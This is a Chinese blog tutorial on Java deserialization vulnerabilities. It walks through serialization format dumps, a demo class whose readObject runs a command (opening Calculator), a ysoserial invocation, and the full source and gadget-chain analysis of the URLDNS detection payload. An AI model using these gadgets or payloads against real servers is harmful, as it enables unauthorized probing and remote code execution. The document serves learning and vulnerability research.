如何理解Java反序列化漏洞

0x00 反序列化漏洞简介

说实话,反序列化漏洞是我学漏洞的一道坎,大学里做过开发,学SQL注入这种漏洞原理的时候一下子就明白了,学XXE的时候搞半天也大概明白了,反序列化真的是一道坎,看了很多文章、很多资料还是不清不楚的感觉

看多了,最近好像有些开窍了,写文章记录一下

序列化与反序列化

首先要知道序列化与反序列化的用途

我们在网络、文件中存储的数据是二进制或者是string类型的弱类型数据,它是没有类型区别的

我们在web后台等程序中使用的数据是编程语言的数据类型,也就是强类型的,当我们读取文件或者网络包中弱类型的数据,会进行一次弱类型到强类型的转换

一般来讲,上面的转会会自动转换成编程语言自带的类型,也就是基本string或者byte,但是为了灵活性,我们很多时候定义一个类,期望可以直接从string把数据变成类的属性

为了达到上面这种需求,就出现了序列化和反序列化,将类以一定的规定的格式表现在string或者byte中,写入到网络或者文件,读取的时候以一定格式解析出来

这种要求在各种语言中的实现是不同的,这里只说Java

比如,我们首先定义一个可以反序列化的Java类,readObject和writeObject是序列化和反序列化过程中会调用到的方法

package ysoserial.test;

import java.io.IOException;
import java.io.Serializable;

public class Person implements Serializable {
    public String name;

    private void readObject(java.io.ObjectInputStream in)throws IOException,ClassNotFoundException
    {
        in.defaultReadObject();
        Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
    }

    private void writeObject(java.io.ObjectOutputStream out) throws IOException {
        out.defaultWriteObject();
        out.writeObject("test1234");
    }

}

然后将它写入到文件中

package ysoserial.test;

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;

public class Test {

    public static void main(String[] args) throws IOException {
        Person person = new Person();
        person.name = "milkfr";

        FileOutputStream fileOutputStream = new FileOutputStream("test.txt");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(person);
        objectOutputStream.close();
        fileOutputStream.close();
    }
}

可以使用SerializationDumper来分析文件的格式

java -jar SerializationDumper.jar -r test.txt

可以看到如下内容

STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
Contents
  TC_OBJECT - 0x73
    TC_CLASSDESC - 0x72
      className
        Length - 21 - 0x00 15
        Value - ysoserial.test.Person - 0x79736f73657269616c2e746573742e506572736f6e
      serialVersionUID - 0xa1 de a1 e3 0e 75 ed b4
      newHandle 0x00 7e 00 00
      classDescFlags - 0x03 - SC_WRITE_METHOD | SC_SERIALIZABLE
      fieldCount - 1 - 0x00 01
      Fields
        0:
          Object - L - 0x4c
          fieldName
            Length - 4 - 0x00 04
            Value - name - 0x6e616d65
          className1
            TC_STRING - 0x74
              newHandle 0x00 7e 00 01
              Length - 18 - 0x00 12
              Value - Ljava/lang/String; - 0x4c6a6176612f6c616e672f537472696e673b
      classAnnotations
        TC_ENDBLOCKDATA - 0x78
      superClassDesc
        TC_NULL - 0x70
    newHandle 0x00 7e 00 02
    classdata
      ysoserial.test.Person
        values
          name
            (object)
              TC_STRING - 0x74
                newHandle 0x00 7e 00 03
                Length - 6 - 0x00 06
                Value - milkfr - 0x6d696c6b6672
        objectAnnotation
          TC_STRING - 0x74
            newHandle 0x00 7e 00 04
            Length - 16 - 0x00 10
            Value - This is a object - 0x546869732069732061206f626a656374
          TC_ENDBLOCKDATA - 0x78

# milkfr @ mac in ~/ysoserial on git:master x [10:03:41] 
$ java -jar ~/SerializationDumper/SerializationDumper.jar -r test.txt

STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
Contents
  TC_OBJECT - 0x73
    TC_CLASSDESC - 0x72
      className
        Length - 21 - 0x00 15
        Value - ysoserial.test.Person - 0x79736f73657269616c2e746573742e506572736f6e
      serialVersionUID - 0xa1 de a1 e3 0e 75 ed b4
      newHandle 0x00 7e 00 00
      classDescFlags - 0x03 - SC_WRITE_METHOD | SC_SERIALIZABLE
      fieldCount - 1 - 0x00 01
      Fields
        0:
          Object - L - 0x4c
          fieldName
            Length - 4 - 0x00 04
            Value - name - 0x6e616d65
          className1
            TC_STRING - 0x74
              newHandle 0x00 7e 00 01
              Length - 18 - 0x00 12
              Value - Ljava/lang/String; - 0x4c6a6176612f6c616e672f537472696e673b
      classAnnotations
        TC_ENDBLOCKDATA - 0x78
      superClassDesc
        TC_NULL - 0x70
    newHandle 0x00 7e 00 02
    classdata
      ysoserial.test.Person
        values
          name
            (object)
              TC_STRING - 0x74
                newHandle 0x00 7e 00 03
                Length - 6 - 0x00 06
                Value - milkfr - 0x6d696c6b6672
        objectAnnotation
          TC_STRING - 0x74
            newHandle 0x00 7e 00 04
            Length - 8 - 0x00 08
            Value - test1234 - 0x7465737431323334
          TC_ENDBLOCKDATA - 0x78

可以看到,常见的aced是这个格式的开始标识,我们在反序列化类的定义的writeObject中增加的out.writeObject("test1234");被放在了objectAnnotation中,可以看到它们的对应关系

我们再从文件中把类转到Java类型中

0-1

可以看到readObject成功将文件中保存的内容转换到了Person类中,同时,将触发了readObject中的命令执行

这已经解释了序列化和反序列化的过程,同时也展示了一个反序列化漏洞

到这里为止,反序列化漏洞都非常好理解,但是这里有个以前我看文章非常不明白的问题,比如弹计算器这个操作,应该是定义类的应用开发者完成的,不是外部攻击者,攻击者是不可以控制的,哪个开发会专门写个这样的后门呢,没有这样子的后门该如何利用呢

实际上在一般的公司里确实没有,我们公司gitlab上拉了80G的代码,扫描以后有只有三个项目的代码里写了readObject,但是他们是用组合模式封装了一下,实际上相当于没重写,就是一个有80G代码量的公司没有用到过这个

但是一些Java类库或者第三方库会用到,但是这些类库又比较复杂,比较难懂,一些文章在之后会介绍CommonsCollections的过程分析说明,我也能照着Debug,但是其中调用到的函数都是不明白做什么用的,文章中也没有解释,一般就稀里糊涂的找到某个地方,然后好像完成说明,最后我还是没看懂,这也是反序列化漏洞学起来为什么难的原因

ysoserial与gadget

后来我遇到了ysoserial,其实很早遇到了,能用它生成payload,但是没看到它代码,据说Java反序列化漏洞正是这个工具出现以后有了方便的利用方式,才开始受到很多关注

0-2

可以看到,ysoserial的一些payload中提供了Gadget chain

gadget这个词经常可以在jackson的CVE上看到,

gadget chains也叫做利用链,通常称为gadget,它是从触发位置到漏洞造成漏洞代码位置的整个调用链,比如我们上面的例子,就是Person.readObject这一个函数就是全部的gadget

0x01 分析简单的反序列化漏洞gadget

我们从ysoserial的payload中找到利用链最短的URLDNS,有些没有写利用链,其他都很长

Gadget Chain:
  HashMap.readObject()
    HashMap.putVal()
      HashMap.hash()
        URL.hashCode()

环境搭建

ysoserial是一个相对比较健壮的项目,用IDEA打开,并且支持maven就会自动加载项目并下载依赖,之后就可以当成一个普通的Java项目来使用

现象查看

我最开始用常规的方法想生成一个Payload,然后debug

$ java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "id" > test.txt
Error while generating or serializing payload
java.net.MalformedURLException: no protocol: id
	at java.base/java.net.URL.<init>(URL.java:644)
	at ysoserial.payloads.URLDNS.getObject(URLDNS.java:56)
	at ysoserial.GeneratePayload.main(GeneratePayload.java:34)

竟然报错了,就先看一下URLDNS在ysorialse中的Payload实现,没看太懂,网上查了一下资料,原来是要放一个url,通过触发DNS查询判断是否存在漏洞

然后我们使用ysoserial生成payload,并且自己写一个序列化的代码测试

可以看到(实践中需要注意,DNS查询一次以后可能有缓存,多次使用更换子域名好一些)

1-1

看到上面这个会不会很惊恐,因为自己写的测试代码没有做任何操作,只是普普通通readObject就造成了反序列化漏洞,解析了DNS?

实际上就是这样,虽然解析DNS不是什么大风险,但是什么都不做,只是单单调用readObject就造成了反序列化漏洞

gadget流程

我们debug来看,这里要注意,直接在readObject出打断点,IDE是不会自动step into的,必须找到gadgat chain,也就是Payload注释里的HashMap的readObject

我们一路step over到payload的提示的gadget的URL.hashcode函数

1-2

这个时候还是不能发现什么问题,只是看到没有直接返回,而是进入了handle.hashCode,所以继续step in

1-3

通过Debug到handle.hashCode和它调用的getHostAddress到了这里其实就比较清晰了,也看到了解析出IP地址,也就是触发了漏洞

回头看payload

/*
 *   Gadget Chain:
 *     HashMap.readObject()
 *       HashMap.putVal()
 *         HashMap.hash()
 *           URL.hashCode()
 */
@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest(skip = "true")
@Dependencies()
@Authors({ Authors.GEBL })
public class URLDNS implements ObjectPayload<Object> {

        public Object getObject(final String url) throws Exception {

                //Avoid DNS resolution during payload creation
                //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
                URLStreamHandler handler = new SilentURLStreamHandler();

                HashMap ht = new HashMap(); // HashMap that will contain the URL
                URL u = new URL(null, url, handler); // URL to use as the Key
                ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

                Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

                return ht;
        }

        public static void main(final String[] args) throws Exception {
                PayloadRunner.run(URLDNS.class, args);
        }

        /**
         * <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
         * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
         * using the serialized object.</p>
         *
         * <b>Potential false negative:</b>
         * <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
         * second resolution.</p>
         */
        static class SilentURLStreamHandler extends URLStreamHandler {

                protected URLConnection openConnection(URL u) throws IOException {
                        return null;
                }

                protected synchronized InetAddress getHostAddress(URL u) {
                        return null;
                }
        }
}

payload的注释是很清晰的

首先继承了一个URLStreamHandler类,防止在序列化的过程发出DNS请求

然后初始化一个java.net.URL对象,作为key放在java.util.HashMap

设置这个URL对象的hashCode为-1,结合我们上面的debug过程,hashCode会因此在反序列化的过程中重新计算,之后就触发了后面的DNS请求

0x02 回顾

Java序列化将一个对象中的属性按照某种特定的格式生成一段数据流,在反序列化的时候再按照这个格式将属性拿出来,赋值给新的对象

Java提供了writeObject允许开发者在序列化数据中插入一些自定义数据,进而能够在反序列化过程中使用readObject读取,进而更完整的还原一个对象

我们分析了一个URLDNS的gadget来学习Java反序列化漏洞,这个Gadget的流程是

Gadget Chain:
  HashMap.readObject()
    HashMap.putVal()
      HashMap.hash()
        URL.hashCode()
          URLStreamHandler.hashCode()
            getHostAddress
              InetAddress.getByName()

其实ysoserial中提示的是到URL.hashCode是gadget,我想是因为我们payload实际影响到的是URL.hashCode中对hash重新计算的判断,后面的DNS查询只是顺水推舟罢了

回顾这个Gadget,readObject是HashMap对象的,hashCode是URL对象的

可以看到整个Payload的核心是利用hashCode的重新计算hash的判断,虽然gadget流程很简单,但是也跨越几个类的组合也利用的很精巧

也就是说反序列化本身也是数据从弱类型转变到强类型过程中,通过对数据内容的构造,触发一些程序本身不期望发生计算流程

核心就是根据gadget的数据构造,也就是如何在还原Java对象的时候触发非预期的操作

问题的本质还是因为数据转换从弱类型到强类型的过程中,解析过程存在漏洞,过分信任来源数据,没有对可能发生的情况进行处理,导致漏洞产生

坚持原创技术分享,您的支持将鼓励我继续创作!